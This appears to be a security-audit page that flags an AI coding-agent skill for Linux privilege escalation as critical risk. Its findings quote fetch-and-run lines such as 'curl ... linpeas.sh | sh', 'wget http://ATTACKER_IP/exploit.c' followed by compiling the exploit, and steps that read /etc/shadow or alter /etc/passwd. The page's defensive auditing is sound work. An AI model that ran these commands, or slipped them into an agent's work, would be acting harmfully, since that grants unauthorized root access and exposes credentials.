linux-privilege-escalation
This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
68
82%
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Critical
Do not install without reviewing
Security
4 findings: 2 critical severity, 1 high severity, 1 medium severity. Installing this skill is not recommended: please review these findings carefully if you do intend to do so.
E005: Suspicious download URL detected in skill instructions.
What this means
Detected a suspicious URL in the skill instructions that could lead the agent to download and execute malicious scripts or binaries. This includes links to executables from untrusted sources, typosquatting of official packages, URL shorteners that obscure the destination, and personal file hosting services.
Why it was flagged
The GitHub and GTFOBins links point to known public tools/references, but the two http://ATTACKER_IP URLs are attacker-hosted direct script/source downloads (high-risk for malware distribution and unauthorized execution).
E006: Malicious code pattern detected in skill scripts.
What this means
Detected high-risk code patterns in the skill content — including its prompts, tool definitions, and resources — such as data exfiltration, backdoors, remote code execution, credential theft, system compromise, supply chain attacks, and obfuscation techniques.
Why it was flagged
The document contains explicit, actionable instructions to perform unauthorized privilege escalation, remote code execution, credential theft, persistence, and data exfiltration, indicating clear malicious intent and high risk of abuse.
W007: Insecure credential handling detected in skill instructions.
What this means
The skill handles credentials insecurely by requiring the agent to include secret values verbatim in its generated output. This exposes credentials in the agent’s context and conversation history, creating a risk of data exfiltration.
Why it was flagged
The skill instructs reading sensitive files (e.g., /etc/shadow), embedding plaintext passwords in commands (openssl ... newpassword), and to produce command output/screenshot evidence that would require the agent to capture and potentially output secret values or substitute user-provided secrets/IPs verbatim into commands.
W013: Attempt to modify system services in skill instructions.
What this means
The skill prompts the agent to compromise the security or integrity of the user’s machine by modifying system-level services or configurations, such as obtaining elevated privileges, altering startup scripts, or changing system-wide settings.
Why it was flagged
The skill explicitly instructs the agent to perform privilege escalation (sudo exploitation, LD_PRELOAD, SUID creation, modifying /etc/passwd, writable cron/script edits, reverse shells and kernel exploits) that would modify system state and obtain root on the machine it runs on.
Low
Low-risk findings.
2 low severity findings. Worth noting, but not necessarily harmful.
W011: Third-party content exposure detected (indirect prompt injection risk).
What this means
The skill exposes the agent to untrusted, user-generated content from public third-party sources, creating a risk of indirect prompt injection. This includes browsing arbitrary URLs, reading social media posts or forum comments, and analyzing content from unknown websites.
Why it was flagged
SKILL.md’s required workflow includes runtime fetching/execution of outsider-authored shell script content from public GitHub releases (e.g., `curl ... linpeas.sh | sh` and `wget http://ATTACKER_IP/linpeas.sh`), which would ingest arbitrary readable text into the agent context if the system captures/prints the fetched script output or content.
W012: Unverifiable external dependency detected (runtime URL that controls agent).
What this means
The skill fetches instructions or code from an external URL at runtime, and the fetched content directly controls the agent’s prompts or executes code. This dynamic dependency allows the external source to modify the agent’s behavior without any changes to the skill itself.
Why it was flagged
The skill fetches and executes remote code at runtime (curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh, wget http://ATTACKER_IP:8000/linpeas.sh then ./linpeas.sh, and wget http://ATTACKER_IP/exploit.c then gcc/exploit execution), so these URLs directly control executed code.
- Repository
- zebbern/claude-code-guide
- Commit
af7d491
- Audited
- Security analysis
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